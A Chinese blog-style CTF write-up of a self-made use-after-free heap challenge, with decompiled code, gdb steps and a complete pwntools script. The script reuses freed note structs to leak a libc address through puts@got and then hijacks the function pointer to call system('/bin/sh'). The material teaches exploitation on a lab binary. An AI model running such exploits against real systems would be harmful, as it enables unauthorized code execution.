news 2026/10/22 0:47:26

my_uaf_hook

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
my_uaf_hook

这里我们由于一直找不到user-after-free比较好的例题,我就自己写了一个相关的例题;我们直接开搞

📎my_uaf_hook.zip

我们还是先进行静态分析:

我们还是先看mian函数:

int __fastcall main(int argc, const char **argv, const char **envp) { unsigned __int64 v3; // rax setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts("UAF: hijack the function pointer"); while ( 1 ) { menu(); v3 = read_int(); if ( v3 == 4 ) return 0; if ( v3 > 4 ) goto LABEL_12; switch ( v3 ) { case 3uLL: show_note(); break; case 1uLL: add_note(); break; case 2uLL: del_note(); break; default: LABEL_12: puts("Invalid choice"); break; } } }

unsigned __int64 read_int() { int v0; // eax char buf; // [rsp+Bh] [rbp-25h] BYREF int v3; // [rsp+Ch] [rbp-24h] char nptr[8]; // [rsp+10h] [rbp-20h] BYREF __int64 v5; // [rsp+18h] [rbp-18h] unsigned __int64 v6; // [rsp+28h] [rbp-8h] v6 = __readfsqword(0x28u); *(_QWORD *)nptr = 0; v5 = 0; v3 = 0; while ( v3 <= 14 && read(0, &buf, 1u) > 0 && buf != 10 ) { v0 = v3++; nptr[v0] = buf; } return strtoul(nptr, 0, 10); }

read_int这个函数就是读取函数,最多读取14个数据

strtoul是将字符串装换成数字,后面的10表示是十进制

我们接着往下看:

先看add:

int add_note() { __int64 v1; // rbx int i; // [rsp+4h] [rbp-1Ch] unsigned __int64 size; // [rsp+8h] [rbp-18h] for ( i = 0; ; ++i ) { if ( i > 15 ) return puts("Full"); if ( !*((_QWORD *)&notes + i) ) break; } printf("Size: "); size = read_int(); if ( !size || size > 0x200 ) return puts("Invalid size"); *((_QWORD *)&notes + i) = malloc(0x10u); **((_QWORD **)&notes + i) = print_note_content; v1 = *((_QWORD *)&notes + i); *(_QWORD *)(v1 + 8) = malloc(size); printf("Content: "); read_n(*(_QWORD *)(*((_QWORD *)&notes + i) + 8LL), size); ++note_count; return puts("Done"); }

这里我们在进行申请完新的空间之后就形成了这样的图形

[.bss 段] [Heap 堆空间] 0x4040a0 + i*8 Chunk 1 (结构体, 0x10 字节) +---------------+ +---------------------------------------+ | notes[i] | -------------> | +0x00: print_note_content (0x40131e) | <- 第19行填充 +---------------+ |---------------------------------------| | +0x08: content 指针 | <- 第20行填充 +-------------------|-------------------+ | v Chunk 2 (用户数据块, malloc(size)) +---------------------------------------+ | 用户输入的字符串数据 | | (如 "aaaa..." 或 payload) | +---------------------------------------+

我们继续看del函数

int del_note() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] printf("Index: "); v1 = read_int(); if ( v1 > 0xF || !*((_QWORD *)&notes + v1) ) return puts("Invalid"); free(*(void **)(*((_QWORD *)&notes + v1) + 8LL)); free(*((void **)&notes + v1)); return puts("Deleted"); }

这里我们发现这两个指针我们进行释放之后并没有进行置为空,这样一来就出现了user-after-free这个漏洞

我们继续看show函数

int show_note() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] printf("Index: "); v1 = read_int(); if ( v1 <= 0xF && *((_QWORD *)&notes + v1) ) return (**((int (__fastcall ***)(_QWORD))&notes + v1))(*(_QWORD *)(*((_QWORD *)&notes + v1) + 8LL)); else return puts("Invalid"); }

我们这里将第8行的return进行转换一下这样看着太难受了

return notes[v1]->printnote(notes[v1]->content);

这样就好看多了,这里就是一个打印函数

这里我们继续完静态验证之后,来开始进行动态验证

这里我们先进行申请两个chunk,之后全部进行释放

上图就是现在的bin的状态,两个bin的大小都没超过fastbin的最大限制,所以遵循fastbin的后进先出的原则

此时我们进行查看notes的地址,发现这个时候我们进行将两个chunk进行释放之后并没有置为null

此时我们申请一个chunk大小是0x18这个时候就会将chunk0分配出去,这个时候可能你会问这是为什么?出去的不是chunk1吗?这里我们别忘记了add中会先申请一个大小是0x10的chunk

此时我们进行查看一下发现这里chunk2的地址和chunk1的地址是一样的

gdb set $n2 = *(unsigned long*)(0x4040a0+16) # notes[2](★ 必须解引用) set $c2 = *(unsigned long*)($n2+8) # notes[2]->content p/x $n2 p/x $c2 p/x *(unsigned long*)0x4040a0 # notes[0]

这里我们可以看出来经过我们的设置此时chunk2的头指向的是chunk1的头,content2使用的是chunk0这块空间

gdb set {unsigned long}$c2 = 0x40131e # printnote = print_note_content set {unsigned long}($c2+8) = 0x404020 # content = puts@got x/2gx $c2 # 应显示 0x40131e / 0x404020

我们继续进行设置

这样一来我们进行运行就可以成功的泄漏puts@got的地址了

这里其实已经泄漏成功了只是我的编译器大多时候输出地址都会乱码

这里算出来libc的基地址

这里我们接着释放之后重新进行申请

gdb set $n3 = *(unsigned long*)(0x4040a0+24) # notes[3](+24,不是 +16) set $c3 = *(unsigned long*)($n3+8) p/x $c3 p/x *(unsigned long*)0x4040a0 # 必须相等(= 0x405260) set {unsigned long}$c3 = $lb + 0x4f420 # printnote = system set {unsigned long}($c3+8) = $lb + 0x1b3d88 # content = "/bin/sh" x/2gx $c3

我们接着进行展示一下就可以拿到shell

之后就交给py脚本了

from pwn import * context(arch='amd64', os='linux', log_level='info') elf = ELF('./uaf_hook') libc = ELF('./libc-2.27.so') PRINT_NOTE_CONTENT = elf.sym['print_note_content'] PUTS_GOT = elf.got['puts'] def start(): p = process(['./ld-2.27.so', '--library-path', '.', './uaf_hook']) p.timeout = 3 p.recvuntil(b'> ') return p def add(p, size, data): p.sendline(b'1') p.recvuntil(b'Size: ') p.sendline(str(size).encode()) p.recvuntil(b'Content: ') p.send(data.ljust(size, b'\x00')[:size]) p.recvuntil(b'> ') def delete(p, idx): p.sendline(b'2') p.recvuntil(b'Index: ') p.sendline(str(idx).encode()) p.recvuntil(b'> ') def show(p, idx): p.sendline(b'3') p.recvuntil(b'Index: ') p.sendline(str(idx).encode()) return p.recvline() def exploit(): p = start() add(p, 0x30, b'a' * 0x30) # idx0: struct(0x20) + content(0x40) add(p, 0x30, b'b' * 0x30) # idx1 delete(p, 0) # fastbin[0x20]: struct0 ; fastbin[0x40]: content0 delete(p, 1) # fastbin[0x20]: struct1 -> struct0 # ---- [1][2] content 落到 struct0 => 控制 notes[0];顺便泄露 libc ---- add(p, 0x18, p64(PRINT_NOTE_CONTENT) + p64(PUTS_GOT)) # idx2 leak = u64(show(p, 0).strip().ljust(8, b'\x00')) libc_base = leak - libc.sym['puts'] log.info('puts = %#x libc_base = %#x', leak, libc_base) assert libc_base & 0xfff == 0, 'libc 基址未对齐' # ---- [3] 劫持 printnote = system, content = "/bin/sh" ---- delete(p, 2) # 归还 struct0 / struct1 binsh = libc_base + next(libc.search(b'/bin/sh')) add(p, 0x18, p64(libc_base + libc.sym['system']) + p64(binsh)) # idx3 show(p, 0) # -> system("/bin/sh") sleep(0.3) p.sendline(b'echo PWNED_UAF; id; uname -m') try: out = p.recvuntil(b'x86_64', timeout=3) except Exception: out = b'' return out if __name__ == '__main__': for i in range(3): try: out = exploit() except Exception as e: log.warning('attempt %d err %r', i + 1, e) continue if b'PWNED_UAF' in out: log.success('SHELL OK') print('---------------- shell output ----------------') print(out.decode(errors='replace').strip()) print('----------------------------------------------') break log.warning('attempt %d 未拿到 shell', i + 1) else: log.failure('NOT OK')
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/22 0:30:26

高校学科竞赛管理系统开发实战:从状态机到并发控制的JavaWeb实践

做毕业设计这几年&#xff0c;学科竞赛管理系统基本上每年都会出现在选题清单上。这个题目看起来很"标准"——发布竞赛、学生报名、评委打分、出成绩&#xff0c;听起来就是一套普通的管理系统。但真正动手做下去&#xff0c;你会发现这里面涉及角色权限、状态流转、…

作者头像 李华
网站建设 2026/10/15 14:49:40

SSM+Vue旅游出行系统毕设全攻略:从需求拆解到答辩通关

又到一年毕设季。如果你正在为选题发愁&#xff0c;或者已经在百来个备选题目里挑花了眼&#xff0c;那我强烈建议你认真考虑一下"旅游出行系统"这个方向。说句老实话&#xff0c;计算机专业做毕设&#xff0c;最重要的不是选题多惊艳&#xff0c;而是"稳"…

作者头像 李华